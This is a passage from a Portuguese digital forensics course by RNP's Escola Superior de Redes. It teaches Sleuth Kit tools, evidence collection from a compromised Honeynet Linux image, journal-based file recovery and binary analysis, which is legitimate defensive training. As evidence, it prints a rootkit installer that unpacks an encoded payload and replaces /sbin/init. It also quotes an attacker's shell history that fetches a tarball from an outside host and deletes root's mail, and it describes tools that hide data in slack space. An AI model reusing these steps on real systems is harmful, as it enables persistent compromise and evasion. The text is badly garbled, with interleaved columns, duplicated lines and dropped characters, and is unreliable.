cutvel ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em
memria. Isto muito comum quando um invasor instala um sniffer na mquina. Ele exe-
cuta o sniffer, descobre em qual inode o arquivo de logs est armazenado, removendo
em seguida o binrio do sniffer e o arquivo de logs. Como o arquivo vai permanecer
aberto, nenhum novo arquivo poder sobrescrever as reas do disco onde esse log
est sendo armazenado, e ele no vai aparecer mais no sistema de arquivos. Quando o
invasor precisar, poder voltar mquina, e recuperar o arquivo a partir do inode. Este
um mtodo muito simples de esconder evidncias no sistema.
dstat
dstat
Mostra estatsticas e detalhes sobre um bloco de dados.
Mostra estatsticas e detalhes sobre um bloco de
# dstat -f linux-ext2 /data/dev_sda2_root.img dados.
251399
Fragment: 251399
Allocated # dstat -f linux-ext2 /data/dev_sda2_root.img
Group: 30 251399
Fragment: 251399
Allocated
Group: 30
dcat
Ferramentas do nvel de blocos de dados
# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998
dcat root:x:0:0:root:/root:/bin/bash
Extrai um bloco de dados de um disco. Utilizaremos daemon:x:1:1:daemon:/usr/sbin:/bin/sh
esta ferramenta quando no for possvel identificar a bin:x:2:2:bin:/bin:/bin/sh
qual arquivo ou inode pertence um determinado bloco.
Permite recuperar dados parciais de arquivos.
# dcat -f linux-ext2
/data/dev_sda2_root.img 251399
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
dls
Ferramentas do nvel de blocos de dados
dls
Lista detalhes sobre unidades de dados, e pode lis-
Lista detalhes sobre unidades de dados, e pode listar blocos de tar blocos de dados desalocados de um sistema de
dados desalocados de um sistema de arquivos. arquivos. Estes blocos contm o espao livre e os
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. arquivos deletados em disco.
img 27891 27895
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment # dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
addr|alloc
27891|a
img 27891 27895 8
27892|a
27893|a
class|host|image|first_time|unit
27894|f dls|Helix||1199680475|Fragment
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > / addr|alloc
data/dev_sda2_root.img.dls 27891|a
27892|a
27893|a
27894|f
27895|f
No primeiro exemplo, o dls lista o estado de alocao dos blocos entre os valores
indicados. Podemos ver que os blocos alocados aparecem com o status a, e os
desalocados esto listados como f.
dcalc
Ferramentas do nvel de blocos de dados
Usado para encontrar na imagem original o bloco de
dcalc
Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de
dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
blocos de dados desalocados. Exemplo:
# grep -ab http://www /data/dev_sda2_root.img.dls8
# grep -ab http://www /data/dev_sda2_root.img.dls
# fsstat /data/dev_sda2_root.img | grep Block Size
# echo $((4045060/1024)) # fsstat /data/dev_sda2_root.img | grep Block Size8
# dcalc -u 3950 /data/dev_sda2_root.img
# dcat /data/dev_sda2_root.img 31844 # echo $((4045060/1024))8
# echo $((4045060/1024))8
3950
Outras ferramentas
Outras ferramentas
mmls mmls
Mostra informaes sobre o layout do disco, incluindo
espaos no particionados. Mostra informaes sobre o layout do disco, incluindo
A sada identifica o tipo das parties e seus tamanhos,
facilitando a utilizao do comando dd para extrair parties. espaos no particionados. A sada identifica o tipo
A sada ordenada pelo setor inicial, facilitando encontrar das parties e seus tamanhos, facilitando a utiliza-
espaos no layout.
o do comando dd para extrair parties. A sada
# mmls -t dos /dev/sda ordenada pelo setor inicial, facilitando encontrar
DOS Partition Table
Offset Sector: 0 espaos no layout.
Units are in 512-byte sectors
hfind
mactime
Outras ferramentas
Pega a sada dos comandos ils ou fls e cria um time-
mactime
Pega a sada dos comandos ils ou fls e cria um line, ou linha de eventos, da atividade de arquivos
timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sesses posteriores,
no disco. o timeline a principal ferramenta para remontar os
# mactime -b /data/dev_sda2_root.img.mac -
passos de uma invaso.
p /etc/passwd -z GMT-3
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa
sswd -z GMT-38
disk_stat
disk_sreset
Outras ferramentas
Este comando permite remover o bloqueio de
disk_sreset
Permite remover o bloqueio de acesso ao HPA, acesso ao HPA, permitindo assim que o investigador
permitindo que o investigador tenha acesso aos tenha acesso aos setores de disco protegidos e ao
setores de disco protegidos. seu contedo.
# disk_sreset /dev/sda # disk_sreset /dev/sda8
Removing HPA from 268435454 to 312500000
until next reset Removing HPA from 268435454 to 312500000 until next
reset
sorter
Outras ferramentas
Analisa e ordena os arquivos em uma imagem de
sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em disco baseada em um banco de dados de assinatu-
um banco de dados de assinaturas de arquivos. ras de arquivos. Serve para identificar rapidamente se
# mkdir -p /usr/local/sleuthkit-2.09/share/file/ existem em disco arquivos de um determinado tipo.
# cp /usr/share/file/magic /usr/local/sleuthkit-
2.09/share/file/ # mkdir -p /usr/local/sleuthkit-2.09/share/file/8
# sorter -f linux-ext2 -d /data/sorter
/data/dev_sda2_root.img # cp /usr/share/file/magic /usr/local/sleuthkit-2.09
Analyzing "/data/dev_sda2_root.img
Loading Allocated File Listing
/share/file/8
Processing 12674 Allocated Files and Directories
# sorter -f linux-ext2 -d /data/sorter /data/dev_sd
100%
All files have been saved to: /data/sorter a2_root.img8
Analyzing /data/dev_sda2_root.img
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories
100%
All files have been saved to: /data/sorter
sigfind
Outras ferramentas
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__
10-ISO8859-1.pcf.gz | head -18
00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70
5c d5 |.......C...Z.p\.|
Fizemos uma ltima verificao com o comando hexdump para mostrar que os
trs primeiros bytes do arquivo so mesmo 0x1f8b08.
srch_strings
Outras ferramentas
O comando strings tem um problema que muitas
srch_strings
vezes pode atrapalhar os resultados de uma inves-
Permite realizar as mesmas tarefas do comando
strings, com a diferena de poder procurar por tigao. Caso exista algum texto de evidncia que
caracteres com outra codificao. utilize uma codificao diferente do padro ASCII,
Veja os exemplos abaixo: strings no vai mostr-lo. Por isso, o comando srch_
# strings a /data/ HelloWorld.doc strings existe para suprir essa deficincia. Ele per-
# srch_strings -a -e l /data/ HelloWorld.doc mite realizar as mesmas tarefas do comando strings,
# srch_strings -a -e b /data/ HelloWorld.doc
# srch_strings -a -e s /data/ HelloWorld.doc com a diferena de poder procurar por caracteres
# srch_strings -a -e S /data/ HelloWorld.doc
com outra codificao. Veja os exemplos ao lado:
Nos exemplos, mudando o tipo de codificao com o parmetro e podemos ver a dife-
rena na sada dos comandos, comparados com o comando strings normal. Em cada
caso, utilizamos uma codificao diferente, de acordo com o parmetro passado em e
<codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra
codificao, como por exemplo se o invasor for proveniente de pases orientais.
foremost
Quando o nmero de arquivos que precisamos recuperar for muito grande, fica
invivel realizar essa tarefa manualmente. O foremost uma ferramenta escrita
pela fora area americana, com o objetivo de facilitar a procura e recuperao
de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configurao
onde possvel especificar as assinaturas que deseja procurar.
# mkdir /data/foremost8
# ls /data/foremost8
audit.txt htm jpg
Podemos ver que o comando cria um diretrio para cada tipo de arquivo identi-
ficado, e dentro dele armazena os arquivos do tipo que foram recuperados da
imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme
vimos, contm os blocos de dados desalocados do disco original.
CD de ferramentas
CD de ferramentas
CD de ferramentas
Concluses
Concluses
\\90-110 minutos
70
Escola Superior de Redes RNP
Sumrio da sesso
Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Tipos de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Armazenagem de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Tcnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Coleta de evidncias
Coleta de evidncias
Utilizaremos um modelo virtual de um sistema comprometido, No material do aluno existe uma mquina virtual
utilizado no Scan Of The Month 29 do projeto Honeynet. chamada Linux, que pode ser utilizada para testar
Esta mquina virtual foi parada em um momento especfico
aps a invaso, para que fosse possvel analisar o sistema o procedimento de coleta da imagem do disco do
como se estivesse utilizando a mquina. sistema comprometido. Alm disso, a mquina virtual
Como esta mquina virtual antiga, as verses mais novas do
VMWare no conseguem mais abri-la.
original do Scan of the Month 29 est disponvel, e
Por isso, vamos utilizar uma outra mquina virtual, configurada chama-se linux-suspended.tgz.
para usar o disco da mquina antiga.
Dessa forma, poderemos acessar o disco com um Live CD do
Helix, e capturar uma imagem do disco. Esta mquina virtual do SOTM29 foi utilizada como
essa imagem que vamos analisar nas prximas sesses. exemplo no trabalho de certificao para o SANS de
um tcnico da RNP, Jacomo D. B. Piccolini. Este tra-
balho ilustra muito bem o modo de realizar a anlise
forense em um sistema vivo. Como a quantidade de evidncias encontradas nessa
mquina muito grande, no iremos procurar exaustivamente por elas.
Tipos de evidncias
Tipos de evidncias
Primeiros passos
Coleta de evidncias
74
Escola Superior de Redes RNP
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 144419
# mkdir /mnt/image8
# file /mnt/image/dev/ttyop8
# strings /mnt/image/dev/ttyop8
Armazenagem de evidncias
Armazenagem de evidncias
tag# 20080118-1750-txt-0001
Temos tambm informaes sobre o arquivo em si.
Tipo Arquivo de texto Nome, tipo do arquivo, tamanho e data de criao,
Nome /mnt/image/dev/ttyop
uma descrio do que o arquivo e o hash SHA1 do
SHA1 hash 2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho 74 bytes mesmo. Com isso, teremos informaes suficientes
Data 2002/03/18
para identificar e referenciar o arquivo em um rela-
Descrio Arquivo com nomes de processos/arquivos
Observaes Relacionado com evidncias 20040907-1750- trio, bem como garantir que o arquivo estar to
txt-0002 e 20040907-1750-txt-0003
ntegro como no momento em que foi encontrado.
Armazenagem de evidncias
tag# 20080118-1750-txt-0002
Tipo Arquivo de texto
Nome /mnt/image/dev/ttyoa
SHA1 hash fe3b2e77710875617dee295e1f880b
9fcc4d9300
Tamanho 134 bytes
Data 2002/09/04
Descrio Arquivo com endereos de
rede/portas
Observaes
Coleta de evidncias
76
Escola Superior de Redes RNP
Utilizar inicialmente as ferramentas do sistema para Os exemplos de comandos mostram diversas formas
encontrar pistas valiosas. de procurar por evidncias em disco:
# find /mnt/image -name .\*
# find /mnt/image name [ ]*.*
# find /mnt/image -name .\*8
# strings -a -n4 /data/compromised/compromised_hda1.img
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} # find /mnt/image name [ ]*.*8
/data/compromised/compromised_hda1.img.str
# grep -i ttyoa
/data/compromised/compromised_hda1.img.str
# strings -a -n4 /data/compromised/compromised_hda1
# grep tar\.gz
.img8
/data/compromised/compromised_hda1.img.str
# grep -f /data/dirt_list.txt # grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/compromised/compromised_hda1.img.str
]{1,3} /data/compromised/compromised_hda1.img.str8
\\O primeiro exemplo de comando procura por arquivos que comecem com um
ponto, que no Linux correspondem a arquivos escondidos (atributos hidden,
como no DOS). Eles podem ser importantes para encontrar arquivos que
normalmente no so mostrados em um ls l.
\\O quarto comando mostra como procurar por endereos IP no arquivo de strings.
\\O ltimo exemplo mostra como utilizar uma dirt list para realizar uma procura
na imagem por palavras-chave.
# ls la /mnt/image/var/log8
Tcnicas de coleta
# more /mnt/image/var/log/boot.log8
Analisar os arquivos de sistema, logs, binrios,
# more /mnt/image/var/log/secure8
inicializao e histricos de comandos.
Verificar dados importantes armazenados em disco. # more /mnt/image/var/log/maillog8
# ls la /mnt/image/var/log
# find /mnt/image -name \*.log8
# more /mnt/image/var/log/boot.log
# more /mnt/image/var/log/secure
# more /mnt/image/etc/opt/psybnc/log/psybnc.log8
# more /mnt/image/var/log/maillog
# find /mnt/image -name \*.log # cat /mnt/image/usr/lib/libice.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log
# cat /mnt/image/usr/lib/libice.log
Os arquivos de log so importantes, pois contm
informaes de tempo sobre os eventos ocorridos
na mquina, podendo ser relacionados a fontes
externas como logs de roteadores e firewalls. No
entanto, importante no confiar somente no log.
Arquivos de logs
Arquivos de logs
A anlise de arquivos de logs um passo importante
A anlise de arquivos de logs um passo importante
na anlise forense, embora nunca se deva confiar
na anlise forense, embora nunca se deva confiar
totalmente em um log. totalmente em um log. s vezes, at mesmo a falta
s vezes, at mesmo a falta de alguma informao em de alguma informao em um log pode ser uma
um log pode ser uma evidncia importante. evidncia importante. O investigador deve procurar
O investigador deve procurar todos os arquivos de
todos os arquivos de logs armazenados em disco.
logs armazenados em disco.
importante tentar correlacionar os logs com outros
eventos: data de criao/acesso/remoo de arquivos, importante tentar correlacionar os logs com outros
outros logs, eventos capturados em dispositivos de eventos: data de criao/acesso/remoo de arqui-
rede etc.
vos, outros logs, eventos capturados em dispositivos
de rede etc.
Coleta de evidncias
78
Escola Superior de Redes RNP
Alm dos endereos externos de e-mail, que podem ser uma indicao de pista do
invasor da mquina, temos tambm a informao do usurio local que enviou o e-mail.
Repare que nos primeiros casos, temos o usurio apache com UID 48 enviando
o e-mail, e a seguir temos o usurio root com UID 0 enviando e-mail, o que pode
ser uma indicao do momento em que ocorreu a invaso e o comprometimento do
sistema, com a obteno do acesso de super usurio pelo invasor.
\\/etc/rc.local
Muitas vezes, arquivos de inicializao podem conter comandos para controlar o sis-
tema aps reiniciar a mquina, fornecendo pistas de onde procurar por mais evidncias.
# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable
# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=/lib/.x
H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e \037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17
0\
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H};
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!
# file /mnt/image/lib/.x/inst8
No exemplo, encontramos o arquivo de instalao de
um rootkit /mnt/image/lib/.x/inst: Bourne-Again shell script
text executable
# find /mnt/image/ -name inst
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# cat /mnt/image/lib/.x/inst8
# file /mnt/image/lib/.x/inst
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable #!/bin/bash
# cat /mnt/image/lib/.x/inst
#!/bin/bash D=/lib/.x
D="/lib/.x"
H="13996" H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer mkdir -p $D; cd $D
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000" | gzip -d > sk
echo > .sniffer; chmod 0622 .sniffer
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f
/sbin/init; cp sk /sbin/init
echo -n -e \037\213\010\010\114\115\016\076\002\00
echo Your home is $D, go there and type ./sk to install 3\163\153\000\355\175\177\170\
echo Have phun!
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp
-f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init;
cp sk /sbin/init
echo Your home is $D, go there and type ./sk to ins
tall
echo Have phun!
Coleta de evidncias
80
Escola Superior de Redes RNP
Uma das primeiras providncias tomadas por um Uma das primeiras providncias tomadas por um invasor
invasor ao adquirir o controle de uma mquina tentar ao adquirir o controle de uma mquina tentar apagar
apagar seus rastros.
seus rastros. Por isso, muitas vezes os arquivos de
A maioria dos invasores no tm um conhecimento
profundo do sistema.
logs ou de histrico de comandos so apagados.
Os histricos de comandos so criados pelo shell e
geralmente armazenados em arquivo no fim da sesso. A maioria dos invasores no tm um conhecimento
Muitos invasores esquecem desse detalhe. profundo do sistema, e geralmente no conseguem
Alguns invasores costumam remover o histrico de
comandos e redirecionar o arquivo para o dispositivo
remover todos os seus rastros. Os histricos de
/dev/null comandos so criados pelo shell e geralmente
armazenados em arquivo no fim da sesso. Muitos
invasores esquecem desse detalhe.
# file /mnt/image/.bash_history8
amore/mnt/image/.bash_history: ASCII text
# cat /mnt/image/.bash_history8
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302
Concluses Concluses
Vimos nesta sesso o que so evidncias e como Na prxima sesso veremos as ferramentas e tcni-
trat-las e armazen-las de maneira a garantir a cas para recuperao completa ou parcial de evidn-
integridade e a cadeia de custdia das mesmas. cias removidas do disco.
Aprendemos a encontrar evidncias utilizando
ferramentas bsicas disponveis em qualquer
distribuio Linux. Veremos tambm algumas tcnicas para anlise de
Ainda existem muitas evidncias presentes na arquivos suspeitos encontrados. Apesar desta ser a
imagem analisada nesta sesso. A anlise forense
parte mais demorada do processo, veremos que as
um processo cclico, demorado e sujeito a erros.
importante tentar correlacionar evidncias para tcnicas so simples e de fcil execuo.
garantir a validade das informaes coletadas.
Coleta de evidncias
82
Escola Superior de Redes RNP
Tpicos e conceitos
\\90-110 minutos
84
Escola Superior de Redes RNP
Sumrio da sesso
Recuperao de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Recuperao de arquivos
Recuperao de arquivos
Um arquivo TAR pode conter informaes importantes sobre quem o criou. Neste caso,
vemos o username e o grupo do usurio que criou o arquivo TAR. Alm disso, observa-
mos que o arquivo TAR contm um arquivo chamado core. Conforme examinaremos na
prxima sesso, esse arquivo pode conter informaes valiosas sobre o invasor.
Verificamos ainda na sada do comando que o arquivo foi recuperado quase total-
mente, apenas com alguns erros que foram mostrados pelo comando.
# ls -li /data/compromised/test.gz8
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /
data/compromised/test.gz
inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652
Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls
li e istat algumas informaes sobre o arquivo e o inode onde ele est armaze-
nado, para compararmos posteriormente com o resultado obtido.
O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de
acessar as informaes do journal do sistema de arquivos. uma ferramenta
presente no pacote E2fsprogs, que normalmente instalado com qualquer distri-
buio Linux, ou seja, est presente em praticamente qualquer Linux. Entretanto,
s pode ser utilizado para Ext2 ou Ext3. Existem outras verses para sistemas
especficos, como o debugfs-reiser4 para ReiserFS.
Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informaes pre-
sentes no journal do sistema de arquivos.
# debugfs /dev/sda58
Recuperao de arquivos journaling
debugfs 1.39-WIP (10-Dec-2005)
# debugfs /dev/sda5
debugfs: logdump -i <937288>
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116 Journal starts at block 1, transaction 116
FS block 1900546 logged at sequence 1143, journal block 6560
(inode block for inode 937288):
Inode: 937288
User: 0
Type: regular
Group: 0
Mode: 0644
Size: 5252
Flags: 0x0 Generation: 1159893987
FS block 1900546 logged at sequence 1143, journal
block 6560
ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
(inode block for inode 937288):
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal block 6570 Inode: 937288 Type: regular Mode: 0644 Flags: 0x0
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987
Generation: 1159893987
User: 0 Group: 0 Size: 0
User: 0 Group: 0 Size: 5252
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks:
No magic number at block 6578: end of journal.
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal
block 6570
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags:
0x0 Generation: 1159893987
User: 0 Group: 0 Size: 0
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.
importante notar que a sada do comando logdump -i pode ser bem longa,
dependendo da atividade do inode pesquisado. O importante procurar a infor-
mao mais prxima do timestamp encontrado no inode do arquivo visto anterior-
mente com o comando istat.
# dcat /dev/sda5 262651 2 > /tmp/recover.gz # dcat /dev/sda5 262651 2 > /tmp/recover.gz8
# file /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was
# file /tmp/recover.gz8
"compressed.files", from Unix, max compression /tmp/recover.gz: gzip compressed data, was compres
# ls -l /tmp/recover.gz sed.files, from Unix, max compression
-rw-r--r-- 1 root root 8192 Jan 17 12:26
/tmp/recover.gz # ls -l /tmp/recover.gz8
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov
er.gz
# gzip -l -t /tmp/test_recovered.gz8
compressed uncompressed ratio uncompressed_name
5252 18067 71.1% /tmp/test_recovered
Concluses
Concluses
Tpicos e conceitos
\\90-120 minutos
98
Escola Superior de Redes RNP
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Arquivos, partes de logs, timestamps ou ferramentas Durante a investigao comum encontrar arquivos,
podem comprovar atividades realizadas pelo invasor. partes de logs, timestamps ou ferramentas que com-
Muitas vezes estas evidncias no so suficientes para provam atividades realizadas pelo invasor. Mesmo
obter uma imagem completa das atividades do invasor.
Outras vezes, a quantidade reduzida de evidncias assim, muitas vezes no conseguimos ter uma
coletadas impede a montagem de uma seqncia lgica de imagem completa das atividades do invasor somente
eventos.
com estas evidncias. Outras vezes, a quantidade
Aprenderemos a analisar evidncias em arquivos de core
dump e a examinar arquivos binrios. de evidncias encontradas to pequena que ficam
Descobriremos como os invasores utilizam os espaos faltando dados suficientes para a montagem de uma
desperdiados no fim dos blocos de dados para ocultar
seqncia lgica de eventos.
evidncias.
Regras durante uma anlise de executveis: Algumas regras a serem seguidas durante uma an-
Jamais execute o programa em sua estao forense; utilize lise de executveis:
uma mquina separada e isolada exclusivamente para isso
A mquina de anlise no deve estar conectada na internet \\Jamais execute o programa em sua estao
Inicie a anlise com ferramentas mais simples, como file,
strings e ldd forense; utilize uma mquina separada e isolada
Somente aps coletar todas as informaes possveis com exclusivamente para isso;
estas ferramentas que deve ser feita uma engenharia reversa
do cdigo \\A mquina de anlise no deve estar conectada
Em ltimo caso deve-se executar o programa em um ambiente
controlado e isolado da rede na internet; conecte-a a outra mquina atravs
Jamais confie em um programa suspeito de um hub ou cabo cross-over, para o caso do
programa tentar conectar-se rede. Deste modo
voc poder monitorar a atividade;
\\Inicie a anlise com ferramentas mais simples, como file, strings e ldd;
Vemos pelo resultado do comando ldd que o executvel smbd utiliza funes da
biblioteca de criptografia do sistema.
As strings acima foram resumidas e mostram apenas algumas partes mais importantes.
# file /mnt/image/usr/include/ice*8
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data
Quando um servidor SSH instalado, precisa de uma chave privativa para fun-
cionar. A chave gerada de acordo com usurio e host, e neste caso podemos
ver que a informao ficou gravada no arquivo e pode dar indicaes de onde o
hacker esteve antes de invadir o sistema.
Anlise do cdigo
Anlise do cdigo
Bot (do ingls robot) um programa que permite que um invasor controle toda a
mquina remotamente. Uma rede de computadores infectados com bot forma uma
botnet e permite que o invasor controle centenas de computadores ao mesmo
tempo, atravs de um servidor central conhecido como controlador da botnet.
# nm /data/compromised/smbd\ -D8
08054ccc T MD5Final
08054be0 T MD5Init
...
08049b84 ? _init
Com o comando nm, vemos as funes que o programa exporta ou importa das
bibliotecas, e tambm a funo inicial do programa, chamada logo que ele
carregado na memria. Esta a funo que devemos procurar em um depurador,
para interromper o programa antes que ele execute alguma funo perigosa.
(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/
tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>: mov %esp,%ebp
Com o comando step podemos ir avanando linha por linha do cdigo, para saber
as funes do programa. O comando bt mostra o backtrace do programa, isto
, a pilha de chamadas de funes do programa, que serve para conhecer mais
sobre o fluxo do programa.
Novamente, no vamos realizar aqui uma anlise completa do programa, pois isso
levaria muito tempo.
Slack space
Slack space
Bloco de dados
dados do arquivo slack space
Exemplo:
Slack space
# du -sb /data/dirt_list.txt8
Exemplo: 60 /data/dirt_list.txt
# du -sb /data/dirt_list.txt
60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8
# du -sk /data/dirt_list.txt 4 /data/dirt_list.txt
4 /data/dirt_list.txt
Mas o que isso tem a ver com esconder informao?
Contando que este espao desperdiado sempre vai existir, No exemplo, o arquivo tem 60 bytes, o que mostra
foram desenvolvidas ferramentas para esconder informaes
nele. o primeiro comando. O segundo comando, ao mos-
O bmap uma ferramenta para esconder dados no slack space trar o tamanho em kb, informa que o arquivo tem 4
de qualquer arquivo, ou at mesmo em um diretrio inteiro, e
depois recuperar essas informaes quando for necessrio. kb, pois este o espao que ele ocupa em disco,
contando o slack space. O arquivo ocupa um bloco
inteiro, apesar de s utilizar 60 bytes deste bloco
para seus dados.
Este espao extra pode ser utilizado para esconder informao. Como os dados
do arquivo no so modificados, sua assinatura SHA1 no modificada, e como
no h nenhuma referncia aos dados que esto neste espao extra, o sistema
operacional nunca sabe que ele existe.
A seguir, escondemos um dado neste espao. Veja que o programa bmap recebe
os dados que vo ser gravados no slack space atravs do STDIN, e o arquivo
especificado no comando o arquivo onde vai ser gravada a informao.
Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a
informao foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito,
so do arquivo original, enquanto o restante faz parte do arquivo que foi escondido.
Os dois ltimos exemplos mostram a ferramenta slacker, que permite gravar uma
informao em mais de um arquivo. Ela funciona da seguinte forma: lista o slack
space em cada arquivo do diretrio passado como parmetro, e grava um pedao
da informao em cada arquivo at terminar o dado.
Concluses
Concluses
\\90-120 minutos
114
Escola Superior de Redes RNP
Sumrio da sesso
Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
Linha de tempo
p
Linha de tempo
Linha de tempo
p Exemplo: para definir quando uma mquina foi
iniciada ou instalada, podemos utilizar evidncias
Para criar
P i uma linha
li h dde ttempo, o analista
li t ddeve: como a data de acesso ou a criao de arquivos
Descobrir quando a mquina foi instalada ou iniciada que somente so acessados ou criados durante o
Descobrir quando a mquina foi identificada como boot ou instalao, como os arquivos do /boot ou o
invadida, e o horrio em qque comeou
a atividade de arquivo /sbin/init, embora este ltimo possa ter sido
anlise forense e de conteno do ataque
modificado por um rootkit.
Obter informaes do momento em que a mquina foi
efetivamente desligada
Registrar informaes de tempo das evidncias A definio dos horrios em que a mquina foi invadida
coletadas pode vir de fontes externas, como entrevistas com
suspeitos ou responsveis pela mquina e tambm
pelo registro da tela do computador, como no caso
do nosso exemplo.
Ferramentas
Ferramentas
O analista deve utilizar as ferramentas para coletar informaes sobre as O analista deve utilizar as ferramentas vistas ante-
evidncias encontradas:
#istat/data/compromised/compromised_hda1.img30578
riormente para coletar informaes de tempo das
